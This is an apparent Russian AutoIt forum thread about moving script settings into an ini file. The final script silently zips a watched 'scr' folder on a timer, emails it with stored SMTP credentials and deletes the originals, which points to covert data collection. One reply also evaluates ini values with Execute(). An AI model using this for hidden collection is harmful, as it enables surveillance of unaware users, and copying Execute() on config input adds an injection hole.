Перенос значений в ini файл

$PatchIni = @ScriptDir&'config.ini'
Global $sDirPath = @ScriptDir&"\scr"; оригинальная строка полностью рабочая
;
Global $sDirPath = IniRead ($PatchIni, "FolderEndFiles", "PatchFolder", 1); сделал такую строку

@ScriptDir&"\scr"

$PatchIni = @ScriptDir & 'config.ini'
;~ должно быть
$PatchIni = @ScriptDir & '\config.ini'

$sPatchIni = @ScriptDir & '\config.ini'

$sDirPath = Execute(IniRead($sPatchIni, 'FolderEndFiles', 'PatchFolder', '@ScriptDir & ''\Default'''));есть пара ключ-значение
ConsoleWrite($sDirPath & @LF)

$sDirPath = Execute(IniRead($sPatchIni, 'FolderEndFiles', 'Patch', '@ScriptDir & ''\Default'''));нет пары ключ-значение
ConsoleWrite($sDirPath & @LF)

;~ и запись в ини
IniWrite($sPatchIni, 'FolderEndFiles', 'Patch', '@ScriptDir & ''\New_scr''')

AdlibRegister("_main", 60000)
While 1
Sleep(1000)
WEnd

$Timer = IniRead ($PatchIni, "Timer", "value", 1)

AdlibRegister("_main", $Timer)
While 1
Sleep(1000)
WEnd

#AutoIt3Wrapper_Run_AU3Check=n
;#include <Array.au3>; for _ArrayDisplay
;#NoTrayIcon
#include "sendmail.au3"
$PatchIni = @ScriptDir&'\config.ini'
Global $s7zrPath = @ScriptDir&"\7zr.exe"
Global $sDirPath = @ScriptDir&"\scr"
Global $sArchivePath = @ScriptDir&"\donos.zip"
Global $SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl
;вынесено в config.ini
$Timer = IniRead($PatchIni, 'Timer', 'Value', 1)
$SmtpServer = IniRead($PatchIni, 'Email', 'SmtpServer', 1)
$FromName = IniRead($PatchIni, 'Discription', 'FromName', 1)
$FromAddress = IniRead($PatchIni, 'Email', 'FromAdress', 1)
$ToAddress = IniRead($PatchIni, 'Email', 'ToAdress', 1)
$Subject = IniRead($PatchIni, 'Discription', 'Subject', 1)
$Body = IniRead($PatchIni, 'Discription', 'Body', 1)
$AttachFiles = $sArchivePath
$Username = IniRead($PatchIni, 'Email', 'UserName', 1)
$Password = IniRead($PatchIni, 'Email', 'Password', 1)
$IPPort = 465
$ssl = 1
;end;
Func _main()
If FileExists($sArchivePath) Then FileDelete($sArchivePath); удаляем архив если он существует
If Not FileExists($sDirPath&"\") Then Return SetError(1, 0, 0)
Local $aSize = DirGetSize($sDirPath, 1)
If Not IsArray($aSize) Then Return SetError(2, 0, 0)
If $aSize[0] >= 10000 Or $aSize[1] >= 4 Then
RunWait($s7zrPath & ' a "' & $sArchivePath & '" i "' & $sDirPath & '"', '', @SW_HIDE)
_INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error <> 0 Then
Else
FileDelete($sDirPath&"\*.*"); удаляем все файлы из папки
FileDelete($sArchivePath); удаляем архив
EndIf
EndIf
EndFunc

_main()
AdlibRegister("_main", $Timer)
While 1
Sleep(1000)
WEnd